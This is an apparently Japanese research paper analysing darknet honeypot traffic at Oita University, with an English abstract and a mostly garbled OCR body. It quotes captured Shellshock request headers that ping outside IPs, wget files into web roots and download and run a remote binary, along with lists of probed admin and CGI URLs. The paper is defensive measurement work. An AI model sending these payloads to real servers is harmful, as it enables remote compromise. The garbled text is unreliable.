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Analysis of Darknet traffic on Oita University by Honeypot
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Abstract: We have set up a honeypot on an unused IP address space of Oita University. A unused IP ad-
dress space of network called darknet. The cause of packets to the darknet is malicious activities of attackers.
We have observed the darknet traffic by using the honeypot from July 2014 to February 2015. Therefore,
we analyze malicous activities to the Oita University. We analyzed port numbers and source IP addresses.
Also, our honeypot system replies a HT'TP response message to a HI'TP request message from attackers.
We analyzed HTTP method and URL from the attackers. And, we compared the honeypot’s logs and web
server’s logs. In this paper, we report the analysis of the darknet traffic to the Oita University.
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User-Agent: () { :;}; /bin/bash -c “echo testing9123123”; /bin/uname -a
Referer: () { :; }; /bin/ping -¢ 1 104.131.0.69

User-Agent: () { :;}; /bin/ping -c¢ 1 198.101.206.138
User-Agent: shellshock-scan (http://blog.erratasec.com/2014 /09 /bash-shellshock-scan-of-internet.html) Host:() { :; }; ping -c 23

209.126.230.74 Referer: () { :; }; ping -c 11 209.126.230.74

User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan) Host: () { :; }; wget 37.187.225.119/action.txt >
/var/www/; wget 37.187.225.119 /action.txt > /var/www/html/ Referer: () { :; }; wget 37.187.225.119/action.txt > /var/www/;
wget 37.187.225.119/action.txt > /var/www/html/
User-Agent: () { :;}; /bin/bash -¢ “wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf

/var/tmp/ec.z

/
6 Shellshock %23H - 7= D
& 13 BY—NTEWLZ HTTP U VT X RORXY v Fla %y Ve ™
DA GET /admin/config.php HTTP /1.0
Ay R Honeyd | Web ¥ —/31 | Web H%—/32 GET /cgi-bin /test-cgi HTTP/1.0
GET 33,404 87,439 809 GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
CONNECT 15,016 83 0 GET /cgi-bin/count.cgi HT'TP/1.1
ZEAT 5,332 0 0 GET /cgi-bin/php HTTP/1.0
HEAD 1,479 24 22 GET /DefaultWS.asmx HTTP/1.1
OPTIONS 198 10 0 GET  /epgrec/do-record.sh HTTP/1.0 GET /ep-
POST 96 4 1 grec/systemSetting.php HTTP/1.1 GET / HTTP/1.0
aal 55,525 87,560 832 GET / HTTP/1.1

3.3.2 Web t—/\ 2 DOfEH

Web H—N20&, 5D U 713EEAERWIED,
FHOZ—FICEET7 7 AFFEAEEHN LRV, ZFD
7z, HTTP U 7 T A FDNZIE, tmUnblock.cgi Z2EK
92U 7T A, phpMyAdmin Offigytz LRI 2 &
TA N ERBILUZ. Web H—/N 212419 % Shellshock
DOIEIE, 10 fFBIHIL /2.

3.3.3 3 D2DH—/\OOJBEER

ZTNZENOY—NIH L TT 7 AL TELEETIP
7 R L AU, Honeyd 1 2082 fiH], Web Y —/31 13 2232
i, Web J— N2V 183 I TH>7z. TNH 3 DDOY—
THSE U/ B0 IP 7 RLAEUR, 42{TH-o7z. 2D
2{EHDEEICIP 7 RLANSDY J T A MK 7TITRT.
W—+T 4 L7 MU ZRERLUIY 7T X RRSME, CGI
PHP 7z EDONegdtDH 2 A7) S s 2RSS J T A
reEZENS.

Honeyd & Web " —/N 1 IcEl L7zik B IP 7 FL A
& 57 1, Honeyd & Web ¥ —/3 2 IcHyll U7k B IP 7
RFLAE 58 lTCTH - 7z,

Web T—/31 & Web =N 2 \REEENZY T A
N NAD SIS LRI UT2AECIP 7 RLAD S B,
Honeyd Y —/STIEEMIL TWRWIEEITIP 7 R L AZE]
MUz, Web Y—731 Tld 77 1, Web Y —r32 Tl 124
fHTH%. TNEDREELIP 7 RLANLDY VT A
NAREZFHELIz& T A, Honeyd THHMILZY VT XA MAH
REFDO) VT A MR E LTz RO HTTP Y 7
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GET /etc/lib/pChart2/examples/index.php HTTP /1.1
GET /manager/html HTTP /1.1

GET /phpMyAdmin/scripts/setup.php HTTP /1.0
GET /web-console/ServerInfo.jsp HTTP/1.1

GET w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1
HEAD /index.action HTTP/1.1

HEAD /login.do HTTP/1.1

HEAD /rom-0 HTTP/1.1

HEAD / HTTP/1.0

HEAD / HTTP/1.1

o /

7 3DDOY—NICHBUIEEICIP 7 FRLANSEDY JZA B

IRARZRY Fxy Mk, DU TGEEL TWiznlkE
HEEZ 5N %. Honeyd ° Web P —/\IHg % HTTP
U7 ITARMIE DOV @t O E 25 1% I % TiE
Ths.

4. HBHYIC

AHETE, ROKRFZDIIACHYDKX—T 3y
WCNZ—Ry heH@EL, 207 7R AMHNEREZFHEL
TeAS Rz Uiz, 511, 2RO Web U — o7 &
Honeyd D117 DIREZ RN T B, FADBEFEL T
B AREREMAIY AT L [6) D17 & Honeyd D17 DR
BED TN TETDHS.

£z, KX T, awk *° sort, uniq 7%z & UNIX <
RZHAEDET, Y2VAZ YT IR Perl A7) 7' Hx
ETHM LTz, BIUE, MAGY— 1 \ulZiaEHd %0
TEMY AT LOWSE - BiFE 7] ZEDTHD, ZTDOTA
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7 LT, Honeyd DR ZZYUEL Tu/ZEHL, 4
DT THW UNIX ax Y REHAEDE T, EitLi
T—RERGHNEERA ) T & F—2EH Y AT
LOFZH#ED 5.

B AWISLE, JSPS BlWFE: 25870558 DBk 2321} 72

£ DTY.

BEX

(1]

2]

TH LR HEEE RS (TPA) - HHREF 2V 7 ¢ 10 KK
2015, (X510 2), AT (http://www.ipa.go.jp/
£iles/000044680.pdf) (ZH 2015-3-26).

HERAN Mo F 2V T o BilEadEE (2008 £ F
W) 7 X—7 2w MBI ORARE N & BRI, CFr S
A42), AFJE (http://www.ipa.go.jp/security/fy20/
reports/techi-tg/2_07.html) (ZI¥ 2015-3-26).
IR A, N IRRATEE, ISR, SRS ¢ RO ARFORM
M IP 7 R L AICxd % TCP/80 & R— b A\DEE DT,
5567 MR - HIERASIUNSTREE RZ, pp. 89-89
(2014 4 9 A).

(RIS, = FHiM £, BT, BEEFE = 0 ~N=— oy R R
UTHERAD AR IP 7 R L A%ETO HTTP U 7 T A
- DR, TR E SIS (2 —2 v b LA
Fitfi), Vol. 2013-10T-23(8), pp. 1-6 (2013 4£ 9 H).
S, AT, SRR ACE, ERTE, A D NS —
Ky FZHWET RLAN—RZAZ L spam EEHE D spam
TGENOFE, IHHILURERE 6 81 > 2 —F v b LHAEL
Wi > RY Y L (I0TS)2013 FiisCE, pp. 25-32 (2013 4
12 H).

ANTIRREIER, RASM, ERSE, & AT @ scan TOERRHT S
AT L7z O TR A - OZEEN DOV T OFHE, 5 65
ImEE B R A A T UN SRR SR ES, pp. 278-278 (2012 4F 9
H).

Minoru Ikebe and Kazuyuki Yoshida: An Integrated Dis-
tributed Log Management System with Metadata for
Network Operation, The 7th International Conference
on Complex, Intelligent, and Software Intensive Sys-
tems (CISIS 2013), 5th International Workshop on Vir-
tual Environment and Network-Oriented Applications
(VENOA2013), pp. 747-750 (2013).
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